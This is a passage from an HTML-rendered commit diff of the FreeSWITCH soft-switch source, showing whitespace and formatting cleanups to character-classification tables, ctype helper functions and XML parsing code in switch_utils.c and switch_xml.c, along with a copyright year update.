</span><span class="cx"> const short *_switch_toupper_tab_ = _switch_C_toupper_;
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_toupper(int c)
</span><span class="cx"> {
</span><del>-        if ((unsigned int)c &gt; 255)
-                return(c);
</del><ins>+        if ((unsigned int) c &gt; 255)
+                return (c);
</ins><span class="cx">         if (c &lt; -1)
</span><span class="cx">                 return EOF;
</span><del>-        return((_switch_toupper_tab_ + 1)[c]);
</del><ins>+        return ((_switch_toupper_tab_ + 1)[c]);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> const short _switch_C_tolower_[1 + SWITCH_CTYPE_NUM_CHARS] = {
</span><span class="cx">         EOF,
</span><del>-        0x00,        0x01,        0x02,        0x03,        0x04,        0x05,        0x06,        0x07,
-        0x08,        0x09,        0x0a,        0x0b,        0x0c,        0x0d,        0x0e,        0x0f,
-        0x10,        0x11,        0x12,        0x13,        0x14,        0x15,        0x16,        0x17,
-        0x18,        0x19,        0x1a,        0x1b,        0x1c,        0x1d,        0x1e,        0x1f,
-        0x20,        0x21,        0x22,        0x23,        0x24,        0x25,        0x26,        0x27,
-        0x28,        0x29,        0x2a,        0x2b,        0x2c,        0x2d,        0x2e,        0x2f,
-        0x30,        0x31,        0x32,        0x33,        0x34,        0x35,        0x36,        0x37,
-        0x38,        0x39,        0x3a,        0x3b,        0x3c,        0x3d,        0x3e,        0x3f,
-        0x40,        'a',        'b',        'c',        'd',        'e',        'f',        'g',
-        'h',        'i',        'j',        'k',        'l',        'm',        'n',        'o',
-        'p',        'q',        'r',        's',        't',        'u',        'v',        'w',
-        'x',        'y',        'z',        0x5b,        0x5c,        0x5d,        0x5e,        0x5f,
-        0x60,        0x61,        0x62,        0x63,        0x64,        0x65,        0x66,        0x67,
-        0x68,        0x69,        0x6a,        0x6b,        0x6c,        0x6d,        0x6e,        0x6f,
-        0x70,        0x71,        0x72,        0x73,        0x74,        0x75,        0x76,        0x77,
-        0x78,        0x79,        0x7a,        0x7b,        0x7c,        0x7d,        0x7e,        0x7f,
-        0x80,        0x81,        0x82,        0x83,        0x84,        0x85,        0x86,        0x87,
-        0x88,        0x89,        0x8a,        0x8b,        0x8c,        0x8d,        0x8e,        0x8f,
-        0x90,        0x91,        0x92,        0x93,        0x94,        0x95,        0x96,        0x97,
-        0x98,        0x99,        0x9a,        0x9b,        0x9c,        0x9d,        0x9e,        0x9f,
-        0xa0,        0xa1,        0xa2,        0xa3,        0xa4,        0xa5,        0xa6,        0xa7,
-        0xa8,        0xa9,        0xaa,        0xab,        0xac,        0xad,        0xae,        0xaf,
-        0xb0,        0xb1,        0xb2,        0xb3,        0xb4,        0xb5,        0xb6,        0xb7,
-        0xb8,        0xb9,        0xba,        0xbb,        0xbc,        0xbd,        0xbe,        0xbf,
-        0xc0,        0xc1,        0xc2,        0xc3,        0xc4,        0xc5,        0xc6,        0xc7,
-        0xc8,        0xc9,        0xca,        0xcb,        0xcc,        0xcd,        0xce,        0xcf,
-        0xd0,        0xd1,        0xd2,        0xd3,        0xd4,        0xd5,        0xd6,        0xd7,
-        0xd8,        0xd9,        0xda,        0xdb,        0xdc,        0xdd,        0xde,        0xdf,
-        0xe0,        0xe1,        0xe2,        0xe3,        0xe4,        0xe5,        0xe6,        0xe7,
-        0xe8,        0xe9,        0xea,        0xeb,        0xec,        0xed,        0xee,        0xef,
-        0xf0,        0xf1,        0xf2,        0xf3,        0xf4,        0xf5,        0xf6,        0xf7,
-        0xf8,        0xf9,        0xfa,        0xfb,        0xfc,        0xfd,        0xfe,        0xff
</del><ins>+        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
+        0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
+        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
+        0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f,
+        0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
+        0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,
+        0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
+        0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,
+        0x40, 'a', 'b', 'c', 'd', 'e', 'f', 'g',
+        'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
+        'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
+        'x', 'y', 'z', 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
+        0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
+        0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,
+        0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
+        0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f,
+        0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
+        0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f,
+        0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
+        0x98, 0x99, 0x9a, 0x9b, 0x9c, 0x9d, 0x9e, 0x9f,
+        0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7,
+        0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf,
+        0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7,
+        0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf,
+        0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7,
+        0xc8, 0xc9, 0xca, 0xcb, 0xcc, 0xcd, 0xce, 0xcf,
+        0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7,
+        0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf,
+        0xe0, 0xe1, 0xe2, 0xe3, 0xe4, 0xe5, 0xe6, 0xe7,
+        0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef,
+        0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7,
+        0xf8, 0xf9, 0xfa, 0xfb, 0xfc, 0xfd, 0xfe, 0xff
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> const short *_switch_tolower_tab_ = _switch_C_tolower_;
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_tolower(int c)
</span><span class="cx"> {
</span><del>-        if ((unsigned int)c &gt; 255)
-                return(c);
</del><ins>+        if ((unsigned int) c &gt; 255)
+                return (c);
</ins><span class="cx">         if (c &lt; -1)
</span><span class="cx">                 return EOF;
</span><del>-        return((_switch_tolower_tab_ + 1)[c]);
</del><ins>+        return ((_switch_tolower_tab_ + 1)[c]);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /*
</span><span class="lines">@@ -2146,136 +2142,136 @@
</span><span class="cx"> 
</span><span class="cx"> const int _switch_C_ctype_[1 + SWITCH_CTYPE_NUM_CHARS] = {
</span><span class="cx">         0,
</span><del>-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C,
-        _C,        _C|_S,        _C|_S,        _C|_S,        _C|_S,        _C|_S,        _C,        _C,
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C,
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C,
-   _S|_B,        _P,        _P,        _P,        _P,        _P,        _P,        _P,
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P,
-        _N,        _N,        _N,        _N,        _N,        _N,        _N,        _N,
-        _N,        _N,        _P,        _P,        _P,        _P,        _P,        _P,
-        _P,        _U|_X,        _U|_X,        _U|_X,        _U|_X,        _U|_X,        _U|_X,        _U,
-        _U,        _U,        _U,        _U,        _U,        _U,        _U,        _U,
-        _U,        _U,        _U,        _U,        _U,        _U,        _U,        _U,
-        _U,        _U,        _U,        _P,        _P,        _P,        _P,        _P,
-        _P,        _L|_X,        _L|_X,        _L|_X,        _L|_X,        _L|_X,        _L|_X,        _L,
-        _L,        _L,        _L,        _L,        _L,        _L,        _L,        _L,
-        _L,        _L,        _L,        _L,        _L,        _L,        _L,        _L,
</del><ins>+        _C, _C, _C, _C, _C, _C, _C, _C,
+        _C, _C | _S, _C | _S, _C | _S, _C | _S, _C | _S, _C, _C,
+        _C, _C, _C, _C, _C, _C, _C, _C,
+        _C, _C, _C, _C, _C, _C, _C, _C,
+        _S | _B, _P, _P, _P, _P, _P, _P, _P,
+        _P, _P, _P, _P, _P, _P, _P, _P,
+        _N, _N, _N, _N, _N, _N, _N, _N,
+        _N, _N, _P, _P, _P, _P, _P, _P,
+        _P, _U | _X, _U | _X, _U | _X, _U | _X, _U | _X, _U | _X, _U,
+        _U, _U, _U, _U, _U, _U, _U, _U,
+        _U, _U, _U, _U, _U, _U, _U, _U,
+        _U, _U, _U, _P, _P, _P, _P, _P,
+        _P, _L | _X, _L | _X, _L | _X, _L | _X, _L | _X, _L | _X, _L,
+        _L, _L, _L, _L, _L, _L, _L, _L,
+        _L, _L, _L, _L, _L, _L, _L, _L,
</ins><span class="cx"> /* determine printability based on the IS0 8859 8-bit standard */
</span><del>-        _L,        _L,        _L,        _P,        _P,        _P,        _P,        _C,
</del><ins>+        _L, _L, _L, _P, _P, _P, _P, _C,
</ins><span class="cx"> 
</span><del>-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C, /* 80 */
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C, /* 88 */
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C, /* 90 */
-        _C,        _C,        _C,        _C,        _C,        _C,        _C,        _C, /* 98 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* A0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* A8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* B0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* B8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* C0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* C8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* D0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* D8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* E0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* E8 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P, /* F0 */
-        _P,        _P,        _P,        _P,        _P,        _P,        _P,        _P  /* F8 */
</del><ins>+        _C, _C, _C, _C, _C, _C, _C, _C,        /* 80 */
+        _C, _C, _C, _C, _C, _C, _C, _C,        /* 88 */
+        _C, _C, _C, _C, _C, _C, _C, _C,        /* 90 */
+        _C, _C, _C, _C, _C, _C, _C, _C,        /* 98 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* A0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* A8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* B0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* B8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* C0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* C8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* D0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* D8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* E0 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* E8 */
+        _P, _P, _P, _P, _P, _P, _P, _P,        /* F0 */
+        _P, _P, _P, _P, _P, _P, _P, _P        /* F8 */
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> const int *_switch_ctype_ = _switch_C_ctype_;
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_isalnum(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; (_U|_L|_N)));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; (_U | _L | _N)));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_isalpha(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; (_U|_L)));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; (_U | _L)));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_iscntrl(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; _C));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; _C));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_isdigit(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; _N));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; _N));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_isgraph(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; (_P|_U|_L|_N)));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; (_P | _U | _L | _N)));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_islower(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; _L));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; _L));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_isprint(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; (_P|_U|_L|_N|_B)));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; (_P | _U | _L | _N | _B)));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_ispunct(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; _P));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; _P));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_isspace(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; _S));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; _S));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_isupper(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; _U));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; _U));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_isxdigit(int c)
</span><span class="cx"> {
</span><del>-        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char)c] &amp; (_N|_X)));
</del><ins>+        return (c &lt; 0 ? 0 : c &gt; 255 ? 0 : ((_switch_ctype_ + 1)[(unsigned char) c] &amp; (_N | _X)));
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(int) switch_number_cmp(const char *exp, int val)
</span><span class="cx"> {
</span><del>-    char *p;
-        
-    if ((p=strchr(exp, '-'))) {
-        int min;
-        int max;
</del><ins>+        char *p;
</ins><span class="cx"> 
</span><del>-        min = atol(exp);
-        p++;
-        max = atol(p);
</del><ins>+        if ((p = strchr(exp, '-'))) {
+                int min;
+                int max;
</ins><span class="cx"> 
</span><del>-        if (val &gt;= min &amp;&amp; val &lt;= max) {
-            return 1;
-        }
-    } else if ((p=strchr(exp, ','))) {
-        const char *cur = exp;
</del><ins>+                min = atol(exp);
</ins><span class="cx">                 p++;
</span><del>-        while(cur) {
-            if (atol(cur) == val) {
-                return 1;
-            }
-                        
-            cur = p;
-                        if (p &amp;&amp; p+1) {
-                                if ((p = strchr((p+1), ','))) {
</del><ins>+                max = atol(p);
+
+                if (val &gt;= min &amp;&amp; val &lt;= max) {
+                        return 1;
+                }
+        } else if ((p = strchr(exp, ','))) {
+                const char *cur = exp;
+                p++;
+                while (cur) {
+                        if (atol(cur) == val) {
+                                return 1;
+                        }
+
+                        cur = p;
+                        if (p &amp;&amp; p + 1) {
+                                if ((p = strchr((p + 1), ','))) {
</ins><span class="cx">                                         p++;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-        }
-    } else {
-        if (atol(exp) == val) {
-            return 1;
-        }
-    }
</del><ins>+                }
+        } else {
+                if (atol(exp) == val) {
+                        return 1;
+                }
+        }
</ins><span class="cx"> 
</span><del>-    return 0;
</del><ins>+        return 0;
</ins><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_xmlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_xml.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_xml.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_xml.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -63,13 +63,13 @@
</span><span class="cx"> #include &lt;apr_file_io.h&gt;
</span><span class="cx"> 
</span><span class="cx"> typedef struct {
</span><del>-        size_t gl_pathc;        /* Count of total paths so far. */
-        size_t gl_matchc;        /* Count of paths matching pattern. */
-        size_t gl_offs;                /* Reserved at beginning of gl_pathv. */
-        int gl_flags;                /* Copy of flags parameter to glob. */
-        char **gl_pathv;        /* List of paths matching pattern. */
</del><ins>+        size_t gl_pathc;                        /* Count of total paths so far. */
+        size_t gl_matchc;                        /* Count of paths matching pattern. */
+        size_t gl_offs;                                /* Reserved at beginning of gl_pathv. */
+        int gl_flags;                                /* Copy of flags parameter to glob. */
+        char **gl_pathv;                        /* List of paths matching pattern. */
</ins><span class="cx">         /* Copy of errfunc parameter to glob. */
</span><del>-        int (*gl_errfunc)(const char *, int);        
</del><ins>+        int (*gl_errfunc) (const char *, int);
</ins><span class="cx"> } glob_t;
</span><span class="cx"> 
</span><span class="cx"> /* Believed to have been introduced in 1003.2-1992 */
</span><span class="lines">@@ -92,7 +92,7 @@
</span><span class="cx"> #define        GLOB_QUOTE                0x0400        /* Quote special chars with \. */
</span><span class="cx"> #define        GLOB_LIMIT                0x1000        /* limit number of returned paths */
</span><span class="cx"> 
</span><del>-int        glob(const char *, int, int (*)(const char *, int), glob_t *);
</del><ins>+int glob(const char *, int, int (*)(const char *, int), glob_t *);
</ins><span class="cx"> void globfree(glob_t *);
</span><span class="cx"> 
</span><span class="cx"> #endif
</span><span class="lines">@@ -105,7 +105,7 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> #define SWITCH_XML_WS   &quot;\t\r\n &quot;        /* whitespace */
</span><del>-#define SWITCH_XML_ERRL 128                        /* maximum error string length */
</del><ins>+#define SWITCH_XML_ERRL 128                /* maximum error string length */
</ins><span class="cx"> 
</span><span class="cx"> static int preprocess(const char *cwd, const char *file, int write_fd, int rlevel);
</span><span class="cx"> 
</span><span class="lines">@@ -166,7 +166,7 @@
</span><span class="cx">         char buf[1024] = &quot;&quot;;
</span><span class="cx">         /*switch_xml_section_t sections = SWITCH_XML_SECTION_RESULT; */
</span><span class="cx">         uint32_t sections = SWITCH_XML_SECTION_RESULT;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (str) {
</span><span class="cx">                 for (x = 0; x &lt; strlen(str); x++) {
</span><span class="cx">                         buf[x] = (char) tolower((int) str[x]);
</span><span class="lines">@@ -252,8 +252,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(switch_xml_search_function_t function,
</span><del>-                                                                                                                                        switch_xml_section_t sections, void *user_data,
-                                                                                                                                        switch_xml_binding_t **ret_binding)
</del><ins>+                                                                                                                                        switch_xml_section_t sections, void *user_data, switch_xml_binding_t **ret_binding)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_binding_t *binding = NULL, *ptr = NULL;
</span><span class="cx">         assert(function != NULL);
</span><span class="lines">@@ -302,18 +301,18 @@
</span><span class="cx">         return p;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(switch_xml_t node, const char *childname, ...)
</del><ins>+SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(switch_xml_t node, const char *childname,...)
</ins><span class="cx"> {
</span><span class="cx">         switch_xml_t p = NULL;
</span><del>-        const char *names[256] = {0};
-        const char *vals[256] = {0};
</del><ins>+        const char *names[256] = { 0 };
+        const char *vals[256] = { 0 };
</ins><span class="cx">         int x, i = 0;
</span><span class="cx">         va_list ap;
</span><span class="cx">         const char *attrname, *value = NULL;
</span><span class="cx"> 
</span><span class="cx">         va_start(ap, childname);
</span><del>-        
-        while(i &lt; 255) {
</del><ins>+
+        while (i &lt; 255) {
</ins><span class="cx">                 if ((attrname = va_arg(ap, const char *))) {
</span><span class="cx">                         value = va_arg(ap, const char *);
</span><span class="cx">                 }
</span><span class="lines">@@ -331,7 +330,7 @@
</span><span class="cx">         if (!(childname &amp;&amp; i)) {
</span><span class="cx">                 return node;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (p = switch_xml_child(node, childname); p; p = p-&gt;next) {
</span><span class="cx">                 for (x = 0; x &lt; i; x++) {
</span><span class="cx">                         if (names[x] &amp;&amp; vals[x]) {
</span><span class="lines">@@ -353,7 +352,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         return p;
</span><span class="cx"> }
</span><span class="lines">@@ -481,7 +480,7 @@
</span><span class="cx">         char *e, *r = s, *m = s;
</span><span class="cx">         long b, c, d, l;
</span><span class="cx"> 
</span><del>-        for (; *s; s++) {        /* normalize line endings */
</del><ins>+        for (; *s; s++) {                        /* normalize line endings */
</ins><span class="cx">                 while (*s == '\r') {
</span><span class="cx">                         *(s++) = '\n';
</span><span class="cx">                         if (*s == '\n')
</span><span class="lines">@@ -503,13 +502,13 @@
</span><span class="cx">                         if (!c || *e != ';') {
</span><span class="cx">                                 s++;
</span><span class="cx">                                 continue;
</span><del>-                        }                                        /* not a character ref */
-
</del><ins>+                        }
+                        /* not a character ref */
</ins><span class="cx">                         if (c &lt; 0x80)
</span><span class="cx">                                 *(s++) = (char) c;        /* US-ASCII subset */
</span><del>-                        else {                                        /* multi-byte UTF-8 sequence */
</del><ins>+                        else {                                /* multi-byte UTF-8 sequence */
</ins><span class="cx">                                 for (b = 0, d = c; d; d /= 2)
</span><del>-                                        b++;                        /* number of bits in c */
</del><ins>+                                        b++;                /* number of bits in c */
</ins><span class="cx">                                 b = (b - 2) / 5;        /* number of bytes in payload */
</span><span class="cx">                                 *(s++) = (char) ((0xFF &lt;&lt; (7 - b)) | (c &gt;&gt; (6 * b)));        /* head */
</span><span class="cx">                                 while (b)
</span><span class="lines">@@ -525,19 +524,21 @@
</span><span class="cx">                                         l = (d = (long) (s - r)) + c + (long) strlen(e);        /* new length */
</span><span class="cx">                                         if (l) {
</span><span class="cx">                                                 if (r == m) {
</span><del>-                                                        char *tmp = (char *)malloc(l);
</del><ins>+                                                        char *tmp = (char *) malloc(l);
</ins><span class="cx">                                                         if (tmp) {
</span><span class="cx">                                                                 r = strcpy(tmp, r);
</span><span class="cx">                                                         } else {
</span><del>-                                                                if (r) free(r);
</del><ins>+                                                                if (r)
+                                                                        free(r);
</ins><span class="cx">                                                                 return NULL;
</span><span class="cx">                                                         }
</span><span class="cx">                                                 } else {
</span><del>-                                                        char *tmp = (char *)realloc(r, l);
</del><ins>+                                                        char *tmp = (char *) realloc(r, l);
</ins><span class="cx">                                                         if (tmp) {
</span><span class="cx">                                                                 r = tmp;
</span><span class="cx">                                                         } else {
</span><del>-                                                                if (r) free(r);
</del><ins>+                                                                if (r)
+                                                                        free(r);
</ins><span class="cx">                                                                 return NULL;
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="lines">@@ -598,15 +599,15 @@
</span><span class="cx">         if (!*(xml-&gt;txt))
</span><span class="cx">                 xml-&gt;txt = s;                        /* initial character content */
</span><span class="cx">         else {                                                /* allocate our own memory and make a copy */
</span><del>-                if ((xml-&gt;flags &amp; SWITCH_XML_TXTM)) { /* allocate some space */
-                        char *tmp = (char *)realloc(xml-&gt;txt, (l = strlen(xml-&gt;txt)) + len);
</del><ins>+                if ((xml-&gt;flags &amp; SWITCH_XML_TXTM)) {        /* allocate some space */
+                        char *tmp = (char *) realloc(xml-&gt;txt, (l = strlen(xml-&gt;txt)) + len);
</ins><span class="cx">                         if (tmp) {
</span><span class="cx">                                 xml-&gt;txt = tmp;
</span><span class="cx">                         } else {
</span><span class="cx">                                 return;
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><del>-                        char *tmp = (char *)malloc((l = strlen(xml-&gt;txt)) + len);
</del><ins>+                        char *tmp = (char *) malloc((l = strlen(xml-&gt;txt)) + len);
</ins><span class="cx">                         if (tmp) {
</span><span class="cx">                                 xml-&gt;txt = strcpy(tmp, xml-&gt;txt);
</span><span class="cx">                         } else {
</span><span class="lines">@@ -665,7 +666,8 @@
</span><span class="cx">                 s += strspn(s + 1, SWITCH_XML_WS) + 1;        /* skip whitespace after target */
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (!root) return;
</del><ins>+        if (!root)
+                return;
</ins><span class="cx"> 
</span><span class="cx">         if (!strcmp(target, &quot;xml&quot;)) {        /* &lt;?xml ... ?&gt; */
</span><span class="cx">                 if ((s = strstr(s, &quot;standalone&quot;)) &amp;&amp; !strncmp(s + strspn(s + 10, SWITCH_XML_WS &quot;='\&quot;&quot;) + 10, &quot;yes&quot;, 3))
</span><span class="lines">@@ -674,20 +676,24 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!root-&gt;pi[0]) {
</span><del>-                root-&gt;pi = (char ***)malloc(sizeof(char **));
-                if (!root-&gt;pi) return;
-                *(root-&gt;pi) = NULL;        /* first pi */
</del><ins>+                root-&gt;pi = (char ***) malloc(sizeof(char **));
+                if (!root-&gt;pi)
+                        return;
+                *(root-&gt;pi) = NULL;                /* first pi */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         while (root-&gt;pi[i] &amp;&amp; strcmp(target, root-&gt;pi[i][0]))
</span><span class="cx">                 i++;                                        /* find target */
</span><span class="cx">         if (!root-&gt;pi[i]) {                        /* new target */
</span><del>-                char ***ssstmp = (char ***)realloc(root-&gt;pi, sizeof(char **) * (i + 2));
-                if (!ssstmp) return;
-                root-&gt;pi = ssstmp; 
-                if (!root-&gt;pi) return;
-                root-&gt;pi[i] = (char **)malloc(sizeof(char *) * 3);
-                if (!root-&gt;pi[i]) return;
</del><ins>+                char ***ssstmp = (char ***) realloc(root-&gt;pi, sizeof(char **) * (i + 2));
+                if (!ssstmp)
+                        return;
+                root-&gt;pi = ssstmp;
+                if (!root-&gt;pi)
+                        return;
+                root-&gt;pi[i] = (char **) malloc(sizeof(char *) * 3);
+                if (!root-&gt;pi[i])
+                        return;
</ins><span class="cx">                 root-&gt;pi[i][0] = target;
